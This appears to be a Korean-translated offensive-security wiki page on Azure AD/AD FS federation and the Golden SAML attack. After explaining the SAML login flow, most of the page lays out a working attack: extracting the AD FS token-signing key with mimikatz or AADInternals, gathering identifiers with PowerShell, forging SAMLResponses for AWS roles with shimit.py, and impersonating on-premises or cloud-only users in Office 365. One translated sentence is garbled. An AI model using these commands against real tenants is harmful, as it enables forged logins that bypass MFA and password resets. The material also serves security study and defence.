Az - Federation

Basic Information

From the docs:Federation는 신뢰를 구축한 도메인의 모음입니다. 신뢰의 수준은 다양할 수 있지만, 일반적으로 인증을 포함하고 거의 항상 권한 부여를 포함합니다. 일반적인 연합은 공유된 리소스에 대한 신뢰를 구축한 여러 조직을 포함할 수 있습니다.

온프레미스 환경을 Azure AD와 연합하고 이 연합을 인증 및 권한 부여에 사용할 수 있습니다. 이 로그인 방법은 모든 사용자 인증이 온프레미스에서 발생하도록 보장합니다. 이 방법은 관리자가 더 엄격한 접근 제어 수준을 구현할 수 있게 합니다. AD FS 및 PingFederate와의 연합이 가능합니다.

기본적으로, 연합에서는 모든 인증이 온프레미스 환경에서 발생하며 사용자는 모든 신뢰된 환경에서 SSO를 경험합니다. 따라서 사용자는 온프레미스 자격 증명을 사용하여 클라우드 애플리케이션에 접근할 수 있습니다.

**보안 주장 마크업 언어(SAML)**는 제공자 간의 모든 인증 및 권한 부여 정보를 교환하는 데 사용됩니다.

어떤 연합 설정에서도 세 가지 당사자가 있습니다:

• 사용자 또는 클라이언트

• 신원 제공자(IdP)

• 서비스 제공자(SP)

(이미지는 https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps에서 가져옴)

1. 처음에, 사용자에 의해 애플리케이션(서비스 제공자 또는 SP, 예: AWS 콘솔 또는 vSphere 웹 클라이언트)에 접근합니다. 이 단계는 특정 구현에 따라 클라이언트를 IdP(신원 제공자)로 직접 우회할 수 있습니다.

2. 그 후, SP는 사용자 인증을 위해 적절한 IdP(예: AD FS, Okta)를 식별합니다. 그런 다음 SAML(보안 주장 마크업 언어) AuthnRequest를 작성하고 클라이언트를 선택한 IdP로 리다이렉트합니다.

3. IdP가 사용자 인증을 수행합니다. 인증 후, IdP에 의해 SAMLResponse가 작성되어 사용자 통해 SP로 전달됩니다.

4. 마지막으로, SP는 SAMLResponse를 평가합니다. 성공적으로 검증되면 IdP와의 신뢰 관계를 의미하며, 사용자는 접근을 허용받습니다. 이는 로그인 프로세스의 완료를 나타내며 사용자가 서비스를 이용할 수 있게 합니다.

SAML 인증 및 일반적인 공격에 대해 더 알고 싶다면 다음으로 가세요:

Pivoting

• AD FS는 주장 기반 신원 모델입니다.

• "..주장은 사용자가 접근할 수 있는 주장 기반 애플리케이션에 대한 권한 부여를 위해 주로 사용되는 사용자에 대한 진술(예: 이름, 신원, 그룹)입니다."

• 사용자의 주장은 SAML 토큰 내에 작성되며, IdP에 의해 기밀성을 제공하기 위해 서명됩니다.

• 사용자는 ImmutableID로 식별됩니다. 이는 전 세계적으로 고유하며 Azure AD에 저장됩니다.

• ImmutableID는 온프레미스에서 사용자에 대한 ms-DS-ConsistencyGuid로 저장되며/또는 사용자의 GUID에서 파생될 수 있습니다.

• 자세한 정보는 https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims에서 확인하세요.

Golden SAML 공격:

• ADFS에서 SAML Response는 토큰 서명 인증서에 의해 서명됩니다.

• 인증서가 손상되면 Azure AD에 ANY 사용자로 인증할 수 있습니다!

• PTA 남용과 마찬가지로, 사용자에 대한 비밀번호 변경이나 MFA는 효과가 없으며, 인증 응답을 위조하고 있기 때문입니다.

• 인증서는 DA 권한으로 AD FS 서버에서 추출할 수 있으며, 이후 인터넷에 연결된 어떤 기기에서도 사용할 수 있습니다.

• 자세한 정보는 https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps에서 확인하세요.

Golden SAML

**신원 제공자(IdP)**가 사용자 로그인을 승인하기 위해 SAMLResponse를 생성하는 과정은 매우 중요합니다. IdP의 특정 구현에 따라 응답은 IdP의 개인 키를 사용하여 서명되거나 암호화될 수 있습니다. 이 절차는 **서비스 제공자(SP)**가 SAMLResponse의 진위를 확인할 수 있게 하여, 신뢰할 수 있는 IdP에 의해 발급되었음을 보장합니다.

골든 티켓 공격과 유사한 점이 있으며, 사용자의 신원 및 권한을 인증하는 키(KRBTGT는 골든 티켓의 경우, 토큰 서명 개인 키는 골든 SAML의 경우)를 조작하여 인증 객체(TGT 또는 SAMLResponse)를 위조할 수 있습니다. 이를 통해 어떤 사용자로도 가장할 수 있으며, SP에 대한 무단 접근을 허용합니다.

골든 SAML은 몇 가지 장점을 제공합니다:

• 원격으로 생성할 수 있으며, 해당 도메인이나 연합의 일부일 필요가 없습니다.

• **2단계 인증(2FA)**가 활성화되어 있어도 여전히 유효합니다.

• 토큰 서명 개인 키는 자동으로 갱신되지 않습니다.

• 사용자의 비밀번호 변경은 이미 생성된 SAML을 무효화하지 않습니다.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS)는 신뢰할 수 있는 비즈니스 파트너 간의 신원 정보의 안전한 교환을 촉진하는 Microsoft 서비스입니다(연합). 본질적으로 도메인 서비스가 연합 내의 다른 서비스 제공자와 사용자 신원을 공유할 수 있게 합니다.

AWS가 손상된 도메인을 신뢰하는 경우(연합 내에서), 이 취약점을 이용하여 AWS 환경에서 어떤 권한도 획득할 수 있습니다. 이 공격은 SAML 객체에 서명하는 데 사용되는 개인 키가 필요하며, 이는 골든 티켓 공격에서 KRBTGT가 필요한 것과 유사합니다. AD FS 사용자 계정에 대한 접근만으로도 이 개인 키를 얻을 수 있습니다.

골든 SAML 공격을 실행하기 위한 요구 사항은 다음과 같습니다:

• 토큰 서명 개인 키

• IdP 공개 인증서

• IdP 이름

• 역할 이름(가정할 역할)

• 도메인\사용자 이름

• AWS의 역할 세션 이름

• 아마존 계정 ID

굵게 표시된 항목만 필수입니다. 나머지는 원하는 대로 입력할 수 있습니다.

개인 키를 얻으려면 AD FS 사용자 계정에 대한 접근이 필요합니다. 그 후, 개인 키는 mimikatz와 같은 도구를 사용하여 개인 저장소에서 내보낼 수 있습니다. 필요한 다른 정보를 수집하기 위해 Microsoft.Adfs.Powershell 스냅인을 다음과 같이 사용할 수 있으며, ADFS 사용자로 로그인되어 있어야 합니다:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

사용자가 가장하고자 하는 유효한 SAMLResponse를 잊어버리는 것이 가능합니다 shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

온프레미스 -> 클라우드

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

클라우드 전용 사용자의 ImmutableID를 생성하고 그들을 가장하는 것도 가능합니다.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

References

• https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed

• https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps